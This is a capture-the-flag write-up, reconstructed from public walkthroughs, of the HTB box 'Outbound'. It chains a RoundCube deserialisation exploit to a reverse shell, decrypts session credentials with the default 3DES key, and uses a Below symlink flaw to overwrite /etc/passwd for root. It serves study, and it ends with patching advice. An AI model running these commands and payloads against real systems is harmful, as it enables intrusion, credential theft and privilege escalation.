Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Outbound is an Easy assume-breach Linux box (tyler creds provided)
that chains CVE-2025-49113 (RoundCube authenticated PHP-object
deserialisation in the image upload _from parameter) into
RoundCube DB session-credential decryption (3DES with the well-known
key rcmail-!24ByteDESkey*Str from the default config) and finishes
with CVE-2025-27591 in Below 0.8.0 (world-writable
/var/log/below enables a symlink-attack chmod of any path).
The chain:
- RoundCube login as
tyler→ CVE-2025-49113 unauth-equivalent POI in the upload endpoint → shell aswww-data. - RoundCube DB sessions table → 3DES-decrypt with the default
key →
jacob’s IMAP password (which is also his SSH password). - Mailbox of
jacobcontains another credential. - Sudoers gives the user
belowaccess; CVE-2025-27591:/var/log/belowis created mode 777 on first start; symlink/var/log/below/error_root.log→/etc/passwd; nextsudo belowchmods the target to 666; rewrite/etc/passwdwith a passwordless root entry.
Recon
80/tcp nginx → mail.outbound.htb (RoundCube 1.6.10)
22/tcp OpenSSH
Provided creds: tyler / LhKL1o9Nm3X2.
Foothold — CVE-2025-49113
RoundCube < 1.6.11 deserialises a _from parameter on
program/actions/settings/upload.php without validation; the
__destruct() method on a chained gadget can be triggered to
exec a system command. Public PoC:
fearsoff/CVE-2025-49113.
python3 cve-2025-49113.py --url https://mail.outbound.htb \
--user tyler --pass 'LhKL1o9Nm3X2' \
--cmd 'bash -c "bash -i >& /dev/tcp/<C2>/<port> 0>&1"'
Reverse shell as www-data.
User pivot — RoundCube session 3DES decrypt
$ mysql -u roundcube -p<from-config-inc.php> roundcubemail \
-e 'SELECT data FROM session ORDER BY changed DESC LIMIT 1\G'
Session blob is base64 + 3DES-CBC. Default config key
rcmail-!24ByteDESkey*Str:
from Crypto.Cipher import DES3
import base64
ct = base64.b64decode(session_blob)
key = b'rcmail-!24ByteDESkey*Str'
iv = ct[:8]
print(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ct[8:]))
Recovered IMAP password is also jacob’s SSH password.
Privesc — CVE-2025-27591 (Below symlink chmod)
$ sudo -l
(root) NOPASSWD: /usr/bin/below
$ ls -ld /var/log/below
drwxrwxrwx 2 root root ... /var/log/below
Below 0.8.0 creates /var/log/below with mode 0777 on first
start (CVE-2025-27591). Replacing a file inside with a symlink
- then triggering Below to chown/chmod that file makes it chmod the symlink target.
rm /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo below status # writes/chmods error_root.log -> /etc/passwd
ls -l /etc/passwd # now 0666
echo 'r00t::0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t # root shell
Why each step worked
- CVE-2025-49113: PHP
unserialize()on user-controlled data in a multipart upload handler. - 3DES with a documented default key: RoundCube ships an
example key in
config.inc.php.dist; deployments often forget to rotate it. - CVE-2025-27591: Below’s first-start logic creates
/var/log/belowwith 0777; subsequent file ops follow symlinks. - Sudo on a binary that follows symlinks for chmod: any binary that performs a privileged file operation in a user-controllable directory is an LPE primitive.
Counterfactuals
- Patch RoundCube ≥ 1.6.11.
- Rotate
des_keyin RoundCube config to a per-deployment random value. - Patch Below ≥ 0.8.1 (CVE-2025-27591 fix).
- Don’t
sudodeveloper tooling like Below; or restrict the sudo entry to specific subcommands and force a sanitised cwd.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Outbound” — https://0xdf.gitlab.io/2025/11/15/htb-outbound.html
- IppSec, “Outbound” video walkthrough — https://ippsec.rocks/?#Outbound
- fearsoff PoC for CVE-2025-49113; Meta security advisory for CVE-2025-27591.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.